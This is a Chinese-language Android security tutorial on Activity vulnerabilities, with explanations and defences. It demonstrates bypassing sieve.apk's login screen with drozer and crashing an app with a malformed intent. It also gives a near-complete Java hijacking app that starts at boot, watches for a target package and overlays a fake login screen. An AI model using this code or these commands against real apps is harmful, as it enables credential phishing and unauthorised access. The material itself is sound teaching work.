Activity漏洞挖掘詳解

簡介
最近在總結Android APP漏洞挖掘方面的知識,上篇帖子Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF向大家初步的介紹了Android APP漏洞挖掘過程中常見的工具,這里也是我平時使用過程中比較常用的三套件,今天我們來逐步學習和復現Android中 Activity漏洞挖掘部分知識,每個漏洞挖掘部分,我們都會選擇具有代表性的樣本案例給大家演示。
Activity漏洞初步介紹
1.Activity基本介紹
在學習Activity的漏洞挖掘之前,我們先對Activity的基本運行原理有一個初步的認識。
(1)Intent 調用Activity
首先,我們要啟動Activity,完成各個Activity之間的交互,我們需要使用Android中一個重要的組件Intent。
Intent是各個組件之間交互的一種重要方式,它不僅可以指明當前組件想要執行的動作,而且還能在各組件之間傳遞數據。Intent一般可用于啟動Activity、啟動Service、發送廣播等場景。Intent有多個構造函數的重載,Intent(Context packageContext,Class<?> cls)//參數1:啟動活動的上下文 參數2:想要啟動的目標活動我們構建好一個Intent對象后,只需要使用 startActivity(Intent)來啟動就可以了
Intent一般分為顯式Intent和隱私Intent:
顯示Intent打開Activity:
Intent intent = new Intent(MainActivity.class,SecondActivity.class); //實例化Intent對象intent.putExtra("et1",et1Str); //使用putExtra傳遞參數,參數1:鍵名 參數2:鍵對應的值 我們可以使用intent.getStringExtra("et1")獲取傳遞的參數startActivity(intent); //啟動Intent,完成從MainActivity類跳轉到SecondActivity類
隱式Intent打開Activity:
隱式Intent并不指明啟動那個Activity而是指定一系列的action和category,然后由系統去分析找到合適的Activity并打開,action和category一般在AndroidManifest中指定。
<activity android:name=".SecondActivity"> <intent-filter> <action android:name="com.example.test.ACTION_START" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity>
只有<action>和<category>中的內容能夠匹配上Intent中指定的action和category時,這個活動才能響應Intent。
Intent intent = Intent("com.example.test.ACTION_START");startActivity(intent);
我們這里只傳入了ACTION_START,這是因為android.intent.category.DEFAULT是一種默認的category,在調用startActivity()時會自動將這個category添加到Intent中,注意:Intent中只能添加一個action,但是可以添加多個category。
于含多個category情況,我們可以使用addCategory()方法來添加一個category。
intent.addCategory("com.example.test.MY_CATEGORY");
隱私Intent打開程序外Activity:
例如我們調用系統的瀏覽器去打開百度網址:
Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);
Intent.ACTION_VIEW是系統內置的動作,然后將https://www.baidu.com通過Uri.parse()轉換成Uri對象,傳遞給intent.setData(Uri uri)函數。
與此對應,我們在<intent-filter>中配置<data>標簽,用于更加精確指定當前活動能夠響應什么類型的數據:
android:scheme:用于指定數據的協議部分,如httpsandroid:host:用于指定數據的主機名部分,如www.baidu.comandroid:port:用于指定數據的端口,一般緊隨主機名后android:path:用于指定數據的路徑android:mimeType:用于指定支持的數據類型
只有當<data>標簽中指定的內容和Intent中攜帶的data完全一致時,當前Activity才能響應該Intent。下面我們通過設置data,讓它也能響應打開網頁的Intent。
<activity android:name=".SecondActivity"> <intent-filter> <action android:name="com.example.test.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="http"> </intent-filter> </activity>
我們就能通過隱式Intent的方法打開外部Activity。
Intent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com"));startActivity(intent);
(2)Activity中傳遞數據
向下一個活動傳遞數據:
Intent傳遞字符串:
Intent intent = new Intent(MainActivity.class,SecondActivity.class);intent.putExtra("et1",et1Str);startActivity(intent);
Intent接收字符串:
Intent intent = getIntent();String data = intent.getStringExtra("et1");
返回數據給上一個活動:
Android 在返回一個活動可以通過Back鍵,也可以使用startActivityForResult()方法來啟動活動,該方法在活動銷毀時能返回一個結果給上一個活動。
Intent intent = new Intent(MainActivity.class,SecondActivity.class);startActivityForResult(intent,1); //參數1:Intent 參數2:請求碼,用于之后回調中判斷數據來源
我們在SecondActivity中返回數據:
Intent intent = new Intent();intent.putExtra("data",data);setResult(RESULT_OK,intent); //setResult接收兩個參數,參數1:向上一個活動返回處理結果,RESULT_OK或RESULT_CANCELED 參數2:把帶數據Intent返回出去finish(); //銷毀當前活動
當活動銷毀后,就會回調到上一個活動,所以我們需要在MainActivity中接收。
@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { // 參數1:我們啟動活動的請求碼 參數2:我們返回數據時傳入結果 參數3:攜帶返回數據的Intent super.onActivityResult(requestCode, resultCode, data); switch (requestCode){ case 1: if(requestCode == RESULT_OK){ String returnData =data.getStringExtra("data"); } break; default: } }
如果我們要實現Back返回MainActivity,我們需要在SecondActivity中重寫onBackPressed()方法。
@Override public void onBackPressed() { super.onBackPressed(); Intent intent = new Intent(); intent.putExtra("data","data"); setResult(RESULT_OK,intent); finish(); }
(3)Activity的生命周期
Activity類中定義了7個回調方法,覆蓋了Activity聲明周期的每一個環節:
onCreate():在Activity第一次創建時調用onStart():在Activity可見但是沒有焦點時調用onResume():在Activity可見并且有焦點時調用onPause():這個方法會在準備啟動或者恢復另一個Activity時調用,我們通常在該方法中釋放消耗CPU的資源或者保存數據,但在該方法內不能做耗時操作,否則影響另一個另一個Activity的啟動或恢復。onStop():在Activity不可見時調用,它和onPause主要區別就是:onPause在失去焦點時會調用但是依然可見,而onStop是完全不可見。onDestory():在Activity被銷毀前調用onRestart():在Activity由不在棧頂到再次回到棧頂并且可見時調用。
生命周期調用圖:

我們可以將活動分為3中生存期: (1)完整生存期:活動在onCreate()和onDestroy()方法之間所經歷的,從開始初始化到完成釋放內存 (2)可見生存期:活動在onStart()和onStop()方法之間所經歷的,主要包括資源的加載和資源的釋放 (3)前臺生存期:活動在onResume()方法和onPause()方法之間所經歷的,主要是Activity的運行
(4)Activity的啟動模式
我們這里之所以要介紹Activity的啟動模式,是因為Activity界面劫持就是根據Activity的運行特點所實現的。
Activity一共有四種啟動模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我們簡單介紹一下:
standard模式
如果不顯示指定啟動模式,那么Activity的啟動模式就是standard,在該模式下不管Activity棧中有無Activity,均會創建一個新的Activity并入棧,并處于棧頂的位置。
singleTop模式
(1)啟動一個Activity,這個Activity位于棧頂,則不會重新創建Activity,而直接使用,此時也不會調用Activity的onCreate(),因為并沒有重新創建Activity Activity生命周期: onPause----->onNewIntent------>onResume 這個過程中調用了 onNewIntent(intent: Intent?),我們可以在該函數中通過Intent獲取新傳遞過來的數據,因為此時數據可能已經發生變化 (2) 要啟動的Activity不在棧頂,那么啟動該Activity就會重新創建一個新的Activity并入棧,此時棧中就有2個Activity的實例了
singleTask模式
如果準備啟動的ActivityA的啟動模式為singleTask的話,那么會先從棧中查找是否存在ActivityA的實例:場景一、如果存在則將ActivityA之上的Activity都出棧,并調用ActivityA的onNewIntent() ActivityA啟動ActivityB,然后啟動ActivityA,此時生命周期過程: ActivityB onPause----->ActivityA(onRestart--->onStart--->onNewIntent--->onResume)--------->ActivityB(onStop--->onDestroy) 場景二、如果ActivityA位于棧頂,則直接使用并調用onNewInent(),此時和singleTop一樣 ActivityA啟動ActivityA,此時生命周期過程: ActivityA(onPause--->onNewIntent--->onResume) 場景三、 如果棧中不存在ActivityA的實例則會創建一個新的Activity并入棧。 ActivityA啟動ActivityB,此時生命周期過程: ActivityA(onCreate--->onStart--->onResume)
singleInstance模式
指定singleInstance模式的Activity會啟動一個新的返回棧來管理這個Activity(其實如果singleTask模式指定了不同的taskAffinity,也會啟動一個新的返回棧我們可以通過這種模式去實現其他程序和我們程序能共享這個Activity實例,在這種模式下,會有一個單獨的返回棧來管理這個Activity,無論哪個應用程序來訪問這個Activity,都在同一個返回棧中,也就解決了共享Activity實例的問題
2.Activity 漏洞種類和危害
我們在上文中詳細介紹了Activity的運行原理,接下來我們了解一些Activity的漏洞種類和應用的安全場景。
(1)Activity的漏洞種類

(2)Activity安全場景和危害
Activity的組件導出,一般會導致的問題:Android Browser Intent Scheme URLs的攻擊手段(1)拒絕服務攻擊:通過Intent給Activity傳輸畸形數據使得程序崩潰從而影響用戶體驗(2)越權攻擊:Activity用戶界面繞過會造成用戶信息竊取、Activity界面被劫持產生欺詐等安全事件(3)組件導出導致釣魚欺詐(4)隱式啟動intent包含敏感數據
Activity漏洞原理分析和復現
1、越權繞過
(1)原理介紹
在Android系統中,Activity默認是不導出的,如果設置了exported = "true" 這樣的關鍵值或者是添加了<intent-filter>這樣的屬性,那么此時Activity是導出的,就會導致越權繞過或者是泄露敏感信息等安全風險。例如:(1)一些敏感的界面需要用戶輸入密碼才能查看,如果沒有對調用此Activity的組件進行權限驗證,就會造成驗證的越權問題,導致攻擊者不需要密碼就可以打開(2)通過Intent給Activity傳輸畸形數據使得程序崩潰拒絕服務(3)對Activity界面進行劫持
(2)漏洞復現
樣本 sieve.apk drozer.apk

首先,我們需要配置drozer的基本環境,具體配置操作,參考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF(https://bbs.pediy.com/thread-269196.htm)
手機端打開代理,開啟31415端口。
adb forward tcp:31415 tcp:31415drozer console connect


我們嘗試使用drozer去越權繞過該界面,首先,我們先列出程序中所有的APP 包:?
run app.package.list
我們通過查詢字段,可以快速定位到sieve的包名。

然后,我們去查詢目標應用的攻擊面:
run app.package.attacksurface com.mwr.example.sieve

我們可以看出,有三個activity是被導出的,我們再具體查詢暴露activity的信息。
run app.activity.info -a com.mwr.example.sieve

說明我們可以通過強制跳轉其他兩個界面,來實現越權繞過。
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

說明我們成功的實現了越權繞過。
(3)防護策略
防護策略:(1)私有Activity不應被其他應用啟動相對是安全的,創建activity時:設置exported屬性為false(2)公開暴露的Activity組件,可以被任意應用啟動,創建Activity:設置export屬性為true,謹慎處理接收的Intent,有返回數據不包含敏感信息,不應發送敏感信息,收到返回數據謹慎處理
2、釣魚欺詐/Activity劫持
(1)原理介紹
原理介紹:(1)Android APP中不同界面的切換通過Activity的調度來實現,而Acticity的調度是由Android系統中的AMS來實現。每個應用想啟動或停止一個進程,都報告給AMS,AMS收到啟動或停止Activity的消息時,先更新內部記錄,再通知相應的進程或停止指定的Activity。當新的Activity啟動,前一個Activity就會停止,這些Activity會保留在系統中的一個Activity歷史棧中。每有一個Activity啟動,它就壓入歷史棧頂,并在手機上顯示。當用戶按下back,頂部的Activity彈出,恢復前一個Activity,棧頂指向當前的Activity。(2)由于Activity的這種特性,如果在啟動一個Activity時,給它加入一個標志位FLAGACTIVITYNEW_TASK,就能使它置于棧頂并立馬呈現給用戶,如果這個Activity是用于盜號的偽裝Activity,就會產生釣魚安全事件或者一個Activity中有webview加載,允許加載任意網頁都有可能產生釣魚事件。 實現原理:如果我們注冊一個receiver,響應android.intent.action.BOOT_COMPLETED,使得開啟啟動一個service;這個service,會啟動一個計時器,不停枚舉當前進程中是否有預設的進程啟動,如果發現有預設進程,則使用FLAG_ACTIVITY_NEW_TASK啟動自己的釣魚界面,截獲正常應用的登錄憑證 實現步驟:(1)啟動一個服務(2)不斷掃描當前進程(3)找到目標后彈出偽裝窗口


(2)漏洞復現
在進行Android 界面劫持過程中,我發現根據Android版本的變化情況,目前不同Android版本實現的功能代碼有一定的差異性,再經過多次的學習和總結后,我復現而且改進了針對Android 6.0界面劫持的功能代碼,并對不同版本的頁面劫持做了一個初步的總結,下面是具體實驗的詳細過程:
首先我們新建一個服務類HijackingService.class,然后在MainActivity里面啟動這個服務類:
public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent2 = new Intent(this,HijackingService.class); startService(intent2); Log.w("hijacking","activity啟動用來劫持的Service"); }}
我們可以看到程序一旦啟動,就會啟動HijackingService.class。
然后我們編寫一個HijackingApplication類,主要負責添加劫持類別,清除劫持類別,判斷是否已經劫持。
public class HijackingApplication{ private static List<String> hijackings = new ArrayList(); public static void addProgressHijacked(String paramString){ //添加劫持進程 hijackings.add(paramString); } public static void clearProgressHijacked(){ //清楚劫持進程集合 hijackings.clear(); } public static boolean hasProgressBeHijacked(String paramString){ //判斷該進程是否被劫持 return hijackings.contains(paramString); } }
說明:這個類的主要功能是,保存已經劫持過的包名,防止我們多次劫持增加暴露風險。
我們為了實現開機啟動服務,新建一個廣播類:
public class HijackingReciver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if(intent.getAction().equals("android.intent.action.BOOT_COMPLETED")){ Log.w("hijacking","開機啟動"); Intent intent2 = new Intent(context,HijackingService.class); context.startService(intent2); Log.w("hijacking","啟動用來劫持的Service"); } }}
然后我們編寫劫持類 HijackingService.class。
private boolean hasStart = false; private boolean isStart; HashMap<String, Class<?>> map = new HashMap<String, Class<?>>(); //新建線程 Handler handler = new Handler(); Runnable mTask = new Runnable() { @Override public void run() { Log.w("TAG","ABC"); int i =1; //ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); //List<ActivityManager.RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses(); // List<ActivityManager.RunningAppProcessInfo> appProcessInfos = ((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses(); //String Processesnew = ForegroundProcess.getForegroundApp(); //Log.w("TAG============",Processesnew); List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses(); Log.w("hijacking", "=================正在枚舉進程======================="); //枚舉進程 for( AndroidAppProcess appProcessInfo: Processes){ Log.w("TAG",appProcessInfo.name); /*try { Stat stat = appProcessInfo.stat(); int pid = stat.getPid(); int parentProcessId = stat.ppid(); long startTime = stat.stime(); int policy = stat.policy(); char state = stat.state(); Log.w("TAG","pid:"+pid+" parentProcessId:"+parentProcessId+" startTime:"+startTime+" policy:"+policy+" state:"+state); } catch (IOException e) { e.printStackTrace(); } */ String ProcessesRunning = ForegroundProcess.getForegroundApp(); Log.w("TAG============",ProcessesRunning); if(map.containsKey(ProcessesRunning)) { // Log.w("TAG","GHZ"); //如果包含在我們劫持的map中 if (map.containsKey(appProcessInfo.name)) { Log.w("準備劫持", appProcessInfo.name); hijacking(appProcessInfo.name); } else { //Log.w("hijacking",appProcessInfo.getPackageName()); //Log.w("abc","123"); } } } handler.postDelayed(mTask,8000); } private void hijacking(String progressName){ //判斷是否已經劫持,對劫持的過的程序跳過 if(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){ Intent localIntent = new Intent(HijackingService.this.getBaseContext(),HijackingService.this.map.get(progressName)); localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); HijackingService.this.getApplication().startActivity(localIntent); HijackingApplicaiton.addProgressHijacked(progressName); Log.w("TAG====hijacking","已經劫持成功"); } } }; @Override public void onCreate() { super.onCreate(); if(!isStart){ map.put("com.cz.babySister",SecondActivity.class); this.handler.postDelayed(this.mTask, 1000); isStart = true; } } @Override public IBinder onBind(Intent intent) { // TODO: Return the communication channel to the service. throw new UnsupportedOperationException("Not yet implemented"); } @Override public boolean stopService(Intent name){ hasStart = false; Log.w("TAG====hijacking","劫持服務停止"); HijackingApplicaiton.clearProgressHijacked(); return super.stopService(name); }
我們編寫劫持類中,最關鍵的就是如何獲取當前的前臺進程和遍歷正在運行的進程,這也是Android版本更新后,導致不同版本劫持差異的主要原因,對這里我做了一個初步的總結:
注意: (1)我們實現界面劫持,主要是根據Android Activity設計的漏洞,而這就會涉及對ActivityManager的掌握 網址:https://blog.csdn.net/zhangxunxyy/article/details/80805394 (2)Android 獲取當前的Activity,因為Android版本不同而具備一定差異性 1)Android 5.0之前可以使用getRunningTasks,該方法可以獲得在前臺運行的系統進程 2)Android 5.0-6.0 getRunningTasks失效,可以使用getRunningAppProcesses方法暫時替代 3)Android 6.0以上 getRunningAppProcess也失效了,系統關閉了三方軟件對系統進程的訪問 目前的方法: 1.使用國外大佬的代碼 AndroidProcesses 參考網址:https://github.com/jaredrummler/AndroidProcesses https://jaredrummler.com/2017/09/13/android-processes/ https://www.itranslater.com/qa/details/2325835735628252160 2.使用第三方開源庫:libsuperuser 使用文章:https://blog.csdn.net/daydayplayphone/article/details/52236148 開源網址:https://github.com/Chainfire/libsuperuser 第三種方法主要是利用Google 應用程序可以訪問 /proc/ https://blog.csdn.net/brycegao321/article/details/76966424 4)我們發現使用這兩種方法都只能列出進程列表,并不能獲取正在運行的進程,我們需要進一步過濾 參考網址:https://blog.csdn.net/dq1005/article/details/51453121 https://www.jianshu.com/p/f3aea648dfbb 如何判斷Android包名獲取進程是否存活:https://blog.csdn.net/weixin_39352694/article/details/83620517 如何查看前臺進程的六種方法:https://github.com/wenmingvs/AndroidProcess
我們編寫獲取當前目標進程的代碼:
public class ForegroundProcess { public static final int AID_APP = 10000; public static final int AID_USER = 100000; public static String getForegroundApp() { File[] files = new File("/proc").listFiles(); int lowestOomScore = Integer.MAX_VALUE; String foregroundProcess = null; for (File file : files) { if (!file.isDirectory()) { continue; } int pid; try { pid = Integer.parseInt(file.getName()); } catch (NumberFormatException e) { continue; } try { String cgroup = read(String.format("/proc/%d/cgroup", pid)); String[] lines = cgroup.split("\n"); String cpuSubsystem; String cpuaccctSubsystem; if (lines.length == 2) {// 有的手機里cgroup包含2行或者3行,我們取cpu和cpuacct兩行數據 cpuSubsystem = lines[0]; cpuaccctSubsystem = lines[1]; } else if (lines.length == 3) { cpuSubsystem = lines[0]; cpuaccctSubsystem = lines[2]; } else { continue; } if (!cpuaccctSubsystem.endsWith(Integer.toString(pid))) { // not an application process continue; } if (cpuSubsystem.endsWith("bg_non_interactive")) { // background policy continue; } String cmdline = read(String.format("/proc/%d/cmdline", pid)); if (cmdline.contains("com.android.systemui")) { continue; } int uid = Integer.parseInt(cpuaccctSubsystem.split(":")[2] .split("/")[1].replace("uid_", "")); if (uid >= 1000 && uid <= 1038) { // system process continue; } int appId = uid - AID_APP; int userId = 0; // loop until we get the correct user id. // 100000 is the offset for each user. while (appId > AID_USER) { appId -= AID_USER; userId++; } if (appId < 0) { continue; } // u{user_id}_a{app_id} is used on API 17+ for multiple user // account support. // String uidName = String.format("u%d_a%d", userId, appId); File oomScoreAdj = new File(String.format( "/proc/%d/oom_score_adj", pid)); if (oomScoreAdj.canRead()) { int oomAdj = Integer.parseInt(read(oomScoreAdj .getAbsolutePath())); if (oomAdj != 0) { continue; } } int oomscore = Integer.parseInt(read(String.format( "/proc/%d/oom_score", pid))); if (oomscore < lowestOomScore) { lowestOomScore = oomscore; foregroundProcess = cmdline; } } catch (IOException e) { e.printStackTrace(); } } return foregroundProcess; } private static String read(String path) throws IOException { StringBuilder output = new StringBuilder(); BufferedReader reader = new BufferedReader(new FileReader(path)); output.append(reader.readLine()); for (String line = reader.readLine(); line != null; line = reader .readLine()) { output.append('\n').append(line); } reader.close(); return output.toString().trim();// 不調用trim(),包名后會帶有亂碼 } }
我們繼續編寫劫持替換的測試類:
public class SecondActivity extends AppCompatActivity { private static Boolean flag ; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_second); Log.w("TAGSecod","切換"); EditText name = findViewById(R.id.editTextTextPersonName); EditText passward = findViewById(R.id.editTextTextPassword); Button button = findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.w("TAG", "成功劫持進入該界面"); flag =false; } }); }}
最后在我們的配置文件中加入相應的權限和配置信息:
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.activityhajacker"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.ActivityHajacker"> <activity android:name=".SecondActivity"></activity> <service android:name=".HijackingService" android:enabled="true" android:exported="true" /> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".HijackingReciver" android:enabled="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application> </manifest>
我們需要將服務的時間設置成6秒,避免程序界面還未加載就劫持了。
效果演示:
我們編寫劫持類安裝,打開:

我們可以發現劫持類在后臺運行:

我們打開目標程序:

等待5秒,然后劫持成功,這個時間我們可以在代碼段調整:

這樣我們成功完成了對目標程序劫持,這里我只編寫了一個簡易的界面,大家可以編寫更加復雜的界面,這主要是針對Android 6.0平臺的劫持,各位也可以試試其他版本的平臺。
(3)安全防護
如果真的爆發了這種惡意程序,我們并不能在啟動程序時每一次都那么小心去查看判斷當前在運行的是哪一個程序,當android:noHistory="true"時上面的方法也無效目前,對activity劫持的防護,只能是適當給用戶警示信息。一些簡單的防護手段就是顯示當前運行的進程提示框。梆梆加固則是在進程切換的時候給出提示,并使用白名單過濾。參考網址:https://blog.csdn.net/ruingman/article/details/51146152 http://blog.chinaunix.net/uid-16728139-id-4962659.html https://blog.csdn.net/u012195899/article/details/70172241?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-9.essearch_pc_relevant

通過它提示程序進入后臺來提示用戶。
3、隱私啟動Intent包含敏感數據
(1)原理介紹
1.背景知識:Intent可分為隱私(implicitly)和顯式(explicitly)兩種(1)顯式Intent:即在構造Intent對象時就指定接收者,它一般用在知道目標組件名稱的前提下, 一般是在相同的應用程序內部實現的,如下: Intent intent = new Intent(MainActivit.this, NewActivity.class); startActivity(intent);(2)隱式Intent:即Intent的發送者在構造Intent對象時,并不知道也不關心接收者是誰,有利于降低發送者和接收者之間的耦合,它一般用在沒有明確指出目標組件名稱的1前提下,一般是用于不同應用程序之間,如下: Intent intent = new Intent(); intent.setAction("com.wooyun.test"); startActivity(intent);對于顯式Intent,Android不需要去做解析,因為目標組件已經很明確,Android需要解析的是那些隱式Intent,通過解析,將Intent映射給可以處理此Intent的Activity,IntentReceiver或Service

我們有一個應用A,采用Intent隱式傳遞,它的動作是"X",此時還有一個應用B,動作也是X,我們在啟動的時候,通過Intent隱式傳遞,就會同時彈出兩個界面,我們就不知道到底啟動A還是B
因為現在這種漏洞在Android版本更新后,基本很少出現了,所以這里就不做復現和安全防護了。
4、拒絕服務攻擊
(1)原理介紹
原理介紹: Android提供Intent機制來協助應用間的交互和通訊,通過Intent實現對應用中一次操作的動作、動作涉及數據、附加數據進行描述,Android通過Intent的描述,負責找到對應組件,完成調用。 拒絕服務攻擊源于程序沒有對Intent。getXXXExtra()獲取的異常或者畸形數據處理時沒有進行異常捕獲,從而導致攻擊者向應用發送此類空數據、異常或者畸形數據來達到致使該應用crash的目的,我們可以通過intent發送空數據、異常或畸形數據給正常應用,導致其崩潰。本地拒絕服務可以被競爭方利用來攻擊,使得自己的應用崩潰,造成破壞。 危害:拒絕服務漏洞對于鎖屏應用、安全防護類軟件危害是巨大的
提到拒絕服務攻擊,我們就不得不講一下Android外部程序的調用方法:
總結: 1.使用自定義Action A程序中調用的代碼為: Intent intent = new Intent(); intent.setAction("com.test.action.PLAYER"); startActivity(intent); B程序中的AndroidManifest.xml中啟動Activity的intent-filter <intent-filter> <action android:name="android.intent.action.MAIN" /> <action android:name="com.test.action.PLAYER" /> <category android:name="android.intent.category.DEFAULT" /><!--必須,否則無效--> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> 2.使用包類名 A程序中調用的代碼為: Intent intent = new Intent(); intent.setClassName("com.test", "com.test.Player");//目標程序包名、主進程名 startActivity(intent); intent.setClassName(arg1,arg2)中arg1是被調用程序B的包名,arg2是B程序中目的activity的完整類名 或者使用ComponentName Intent intent = new Intent(); ComponentName comp = new ComponentName("com.test", "com.test.Player" ); //目標程序包名、主進程名 intent.setComponent(comp); startActivity(intent); B程序被調用中AndroidManifest.xml中啟動Activity的intent-filter不需要特別加入其它信息,如下即可: <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter>
(2)漏洞復現
我們查看一個目標應用的AndroidManifest.xml文件:
<activity android:label="@string/app_name" android:name=".MainLoginActivity" android:excludeFromRecents="true" android:launchMode="singleTask" android:windowSoftInputMode="adjustUnspecified|stateVisible|adjustResize"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter></activity>
我們編寫一個簡易的APP程序,對目標程序進行拒絕服務攻擊。
Intent intent = new Intent();ComponentName comp = new ComponentName("com.mwr.example.sieve","com.mwr.example.sieve.MainLoginActivity");intent.putExtra("", "");intent.setComponent(comp);startActivity(intent);
這里我們傳入一個空字符,使其產生錯誤。
當然我們還可以使用我們的神器drozer來進行攻擊。

遠程拒絕服務攻擊:
參考網址:http://rui0.cn/archives/30
還有其他類型的拒絕服務攻擊,大家可以參考博客:
參考網址https://blog.csdn.net/myboyer/article/details/44940811utm_term=Activity%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-44940811&spm=3001.4430
(3)安全防護
安全防護: (1)空指針異常、類型轉換異常、數組越界訪問異常、類未定義異常、其它異常 (2)謹慎處理接收的intent以及其攜帶的信息,對接收到的任何數據做try/catch處理,以及對不符合預期數據做異常處理總結:1.不需要被外部調用的activity設置android:exported="false"; 2.若需要外部調用,需自定義signature或者signatureOrSystem級別的權限; 3.注冊的組件請嚴格校驗輸入參數,注意空值判定和類型轉換判斷
實驗總結
寫到這里,這個帖子總算寫完了,對Android的Activity漏洞挖掘的總結過程中,我又再一次將Android 的Activity組件運行的基本原理熟悉了一遍,學習就是不斷的總結提高把,可能在編寫的過程中,還存在很多不足地方,就請各位大佬指教了。
參考網址:
Android 第一行代碼https://www.jianshu.com/p/b999119d2752https://blog.csdn.net/zhangxunxyy/article/details/80805394https://github.com/jaredrummler/AndroidProcesseshttps://jaredrummler.com/2017/09/13/android-processes/https://www.itranslater.com/qa/details/2325835735628252160https://blog.csdn.net/daydayplayphone/article/details/52236148https://github.com/Chainfire/libsuperuserhttps://blog.csdn.net/brycegao321/article/details/76966424https://blog.csdn.net/dq1005/article/details/51453121https://www.jianshu.com/p/f3aea648dfbbhttps://blog.csdn.net/weixin_39352694/article/details/83620517https://github.com/wenmingvs/AndroidProcesshttps://blog.csdn.net/ruingman/article/details/51146152http://blog.chinaunix.net/uid-16728139-id-4962659.html http://rui0.cn/archives/30